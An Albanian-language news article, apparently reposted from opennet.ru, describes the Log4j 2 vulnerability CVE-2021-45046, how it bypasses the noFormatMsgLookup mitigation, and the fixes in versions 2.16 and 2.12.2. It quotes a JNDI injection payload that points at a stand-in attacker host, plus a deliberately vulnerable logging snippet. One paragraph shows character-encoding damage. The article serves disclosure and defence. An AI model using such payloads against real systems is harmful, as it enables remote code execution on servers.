Një variant i ri sulmi ndaj Log4j 2, i cili lejon kalimin e mbrojtjes së shtuar

Në implementimin e zëvendësimeve JNDI në bibliotekën Log4j 2 është zbuluar një tjetër dobësi (CVE-2021-45046), që shfaqet pavarësisht rregullimeve të shtuar në botimin 2.15 dhe pavarësisht përdorimit të cilësimit "log4j2.noFormatMsgLookup" për mbrojtje. Problemi përbën rrezik kryesisht për versionet e vjetra të Log4j 2, të mbrojtura me flamurin "noFormatMsgLookup", pasi lejon rrethimin e mbrojtjes nga dobësia e kaluar (Log4Shell, CVE-2021-44228), që mundëson ekzekutimin e kodit të saj në server. Për përdoruesit e versionit 2.15, shfrytëzimi kufizohet në krijimin e kushteve për përfundimin e papritur të aplikacionit për shkak të shterimit të burimeve të disponueshme.

Dobësia shfaqet vetëm në sistemet ku gjatë regjistrimit përdoren kërkesa kontekstuale (Context Lookup), si ${ctx:loginId}, ose modele MDC (Thread Context Map), për shembull, %X, %mdc dhe %MDC. Shfrytëzimi kufizohet në krijimin e kushteve për regjistrimin e të dhënave që përmbajnë zëvendësime JNDI, kur përdoren në aplikacion kërkesat kontekstuale ose modelet MDC, që përcaktojnë rregullat e formatimit të regjistrimeve.

Kërkuesit nga kompania LunaSec theksuan se për versionet e Log4j nën 2.15, kjo dobësi mund të përdoret si një vektor i ri për sulmin Log4Shell, që çon në ekzekutimin e kodit, nëse gjatë regjistrimit përdoren shprehje ThreadContext që përmbajnë të dhëna të jashtme, pavarësisht aktivizimit të flamurit për mbrojtje "noMsgFormatLookups" ose modelit "%m{nolookups}".

Një variant i ri sulmi ndaj Log4j 2, i cili lejon kalimin e mbrojtjes së shtuar

Rrethimi i mbrojtjes pĂ«rfshin faktin se nĂ« vend tĂ« zĂ«vendĂ«simit tĂ« drejtpĂ«rdrejtĂ« "${jndi:ldap://attacker.com/a}", kjo shprehje zĂ«vendĂ«sohet pĂ«rmes vlerĂ«s sĂ« njĂ« variabli ndĂ«rmjetĂ«s, qĂ« pĂ«rdoret nĂ« rregullat e formatimit tĂ« regjistrimit. PĂ«r shembull, nĂ«se gjatĂ« regjistrimit pĂ«rdoret njĂ« kĂ«rkesĂ« kontekstuale ${ctx:apiversion}, sulmi mund tĂ« realizohet pĂ«rmes zĂ«vendĂ«simit tĂ« tĂ« dhĂ«nave "${jndi:ldap://attacker.com/a}" nĂ« vlerĂ«n qĂ« regjistrohet nĂ« variablĂ«n apiversion. NjĂ« shembull i kodit tĂ« ndjeshĂ«m: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Vlera e header-it HTTP "X-Api-Version" kalon nĂ« ThreadContext ThreadContext.put("apiversion", apiVersion); // GjatĂ« regjistrimit vlera e jashtme apiversion do tĂ« pĂ«rpunojĂ« pĂ«rmes zĂ«vendĂ«simit ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

Në versionin Log4j 2.15, dobësia mund të shfrytëzohet për të realizuar sulme DoS duke kaluar në ThreadContext vlera që çojnë në rrethimin e përpunimit të modelit të formatimit.

Një variant i ri sulmi ndaj Log4j 2, i cili lejon kalimin e mbrojtjes së shtuar

Për bllokimin e dobësisë janë publikuar përditësime 2.16 dhe 2.12.2. Në degën Log4j 2.16, përveç rregullimeve të implementuara në versionin 2.15 dhe lidhjes së kërkesave JNDI LDAP me "localhost", funksionaliteti JNDI është plotësisht i çaktivizuar si parazgjedhje dhe është hequr mbështetje për modelet e zëvendësimit të mesazheve. Si një mënyrë alternative për mbrojtje, është propozuar që klasa JndiLookup të hiqet nga classpath (për shembull, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Për të ndjekur shfaqjen e rregullimeve në paketat mund të ndiqni faqet e distribucioneve (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dhe prodhuesit e platformave Java (GitHub, Docker, Oracle, vmWare, Broadcom dhe Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure etj.).

Burimi: opennet.ru

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster